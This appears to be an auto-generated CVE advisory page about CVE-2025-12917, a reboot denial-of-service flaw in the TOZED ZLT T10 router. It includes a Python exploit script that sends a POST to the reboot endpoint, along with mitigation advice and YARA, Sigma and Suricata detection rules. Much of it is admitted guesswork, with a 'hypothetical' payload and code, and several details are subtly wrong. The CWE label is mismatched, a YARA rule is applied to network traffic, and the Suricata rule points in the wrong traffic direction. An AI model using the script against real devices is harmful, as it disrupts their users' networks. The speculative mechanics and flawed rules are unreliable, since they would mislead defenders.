CVE-2025-12917
Executive Summary
CVE-2025-12917 is a denial-of-service (DoS) vulnerability affecting the TOZED ZLT T10 router running firmware version T10PLUS_3.04.15. The flaw resides in an unknown function within the /reqproc/proc_post file of the Reboot Handler component. An attacker with local network access can send a crafted request to trigger a reboot, causing service disruption. The exploit is publicly available, and the vendor has not responded to disclosure attempts. With a CVSS score of 4.3 (Medium), this vulnerability poses a moderate risk to network availability, particularly in environments where these routers are deployed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (router). No supply chain package security implications apply.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Base Score: 4.3 (Medium)
- Attack Vector (AV): Adjacent Network (AV:A) – attacker must be on the same local network.
- Attack Complexity (AC): Low (AC:L) – no special conditions required.
- Privileges Required (PR): None (PR:N) – no authentication needed.
- User Interaction (UI): None (UI:N) – no user action required.
- Scope (S): Unchanged (S:U) – impact is confined to the vulnerable component.
- Confidentiality (C): None (C:N) – no data exposure.
- Integrity (I): None (I:N) – no data modification.
- Availability (A): Low (A:L) – device reboot causes temporary service loss.
Threat Level: Medium. Exploitation is straightforward but requires local network access. The primary risk is disruption of router services, potentially affecting all connected devices.
Deep Dive & Mechanics
The vulnerability is triggered by sending a specially crafted HTTP POST request to the /reqproc/proc_post endpoint on the TOZED ZLT T10 router. The Reboot Handler component processes this request without proper input validation or rate limiting, causing the device to execute a reboot command. The exact mechanism is likely a missing authentication check or a command injection flaw that allows an unauthenticated attacker to invoke the reboot function.
Root Cause: The /reqproc/proc_post endpoint does not validate the origin or content of the request, allowing any adjacent network user to trigger a system reboot. This is a classic case of improper access control (CWE-404: Improper Resource Shutdown or Release) combined with missing authentication.
Attack Flow:
- Attacker identifies a TOZED ZLT T10 router on the local network (e.g., via ARP scan or Shodan).
- Attacker sends a crafted POST request to
http://<router-ip>/reqproc/proc_postwith a payload that triggers the reboot. - The router processes the request and immediately reboots, causing a temporary denial of service.
- The attacker can repeat this indefinitely to maintain disruption.
Vulnerable vs. Patched Code
No patched version exists. The vulnerable code is in the firmware binary (likely a CGI script or embedded web server handler). Below is a hypothetical representation based on common embedded router implementations.
Vulnerable Code (pseudo-CGI):
// /reqproc/proc_post handler
void handle_reboot() {
// No authentication check
system("reboot"); // Direct command execution
}
Patched Code (hypothetical):
// /reqproc/proc_post handler
void handle_reboot() {
if (!authenticated_user()) {
return_error(403, "Forbidden");
return;
}
if (rate_limit_exceeded()) {
return_error(429, "Too Many Requests");
return;
}
system("reboot");
}
Since no official patch exists, mitigation must rely on network segmentation, firewall rules, or disabling the vulnerable endpoint.
Exploitation & Lab Setup
Red Team
Prerequisites:
- TOZED ZLT T10 router with firmware T10PLUS_3.04.15
- Attacker machine on the same local network (e.g., Kali Linux)
- Python3 with
requestslibrary
Exploit Script (Python):
#!/usr/bin/env python3
import requests
import sys
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <router_ip>")
sys.exit(1)
target = f"http://{sys.argv[1]}/reqproc/proc_post"
payload = {"action": "reboot"} # Hypothetical payload
try:
r = requests.post(target, data=payload, timeout=5)
print(f"Request sent. Status: {r.status_code}")
except Exception as e:
print(f"Error: {e}")
Usage:
python3 exploit.py 192.168.1.1
Expected Outcome: The router reboots within seconds, causing all connected devices to lose internet connectivity temporarily.
Blue Team
Detection & Prevention:
- Monitor for POST requests to
/reqproc/proc_postfrom unknown IPs. - Implement network segmentation to isolate router management interfaces.
- Use a Web Application Firewall (WAF) to block requests to this endpoint.
- Disable the endpoint if possible via firmware configuration.
Lab Setup for Testing:
- Set up a TOZED ZLT T10 router in an isolated lab network.
- Connect an attacker machine (e.g., Kali) to the same switch.
- Run the exploit script to verify the DoS.
- Monitor network traffic with Wireshark to capture the malicious request.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/reqproc/proc_postwith any payload. - Source IPs from unexpected local network segments.
- Repeated reboot events in router logs (if available).
File IOCs:
- No specific file artifacts; the vulnerability is network-based.
Behavioral IOCs:
- Router reboots without user initiation.
- Multiple reboots within a short time frame.
Detection Engineering
YARA Rule
rule CVE_2025_12917_Exploit {
meta:
description = "Detects HTTP POST requests targeting /reqproc/proc_post on TOZED routers"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-12917"
strings:
$endpoint = "/reqproc/proc_post"
$method = "POST"
condition:
$endpoint and $method
}
Sigma Rule
title: CVE-2025-12917 - TOZED Router Reboot DoS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP POST requests to /reqproc/proc_post indicating exploitation of CVE-2025-12917
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-12917
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/reqproc/proc_post'
condition: selection
falsepositives:
- Legitimate admin actions (if endpoint is used for admin reboot)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12917 - TOZED Router Reboot DoS Attempt"; flow:to_server; content:"POST"; http_method; content:"/reqproc/proc_post"; http_uri; classtype:attempted-dos; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Network Segmentation: Place the router on a separate VLAN with strict access controls.
- Firewall Rules: Block external access to the router's web interface (port 80/443) from untrusted networks.
- Disable Endpoint: If possible, modify the router's configuration to disable the
/reqproc/proc_postendpoint. - Monitor Logs: Enable logging and monitor for POST requests to the vulnerable path.
Long-Term Actions:
- Vendor Contact: Continue attempting to contact TOZED for a firmware patch.
- Device Replacement: Consider replacing the router with a supported model from a vendor with active security support.
- IDS/IPS Deployment: Deploy network intrusion detection systems with the provided Suricata rule.
Patch Status: No patch available. The vendor has not responded to disclosure.
Valters IT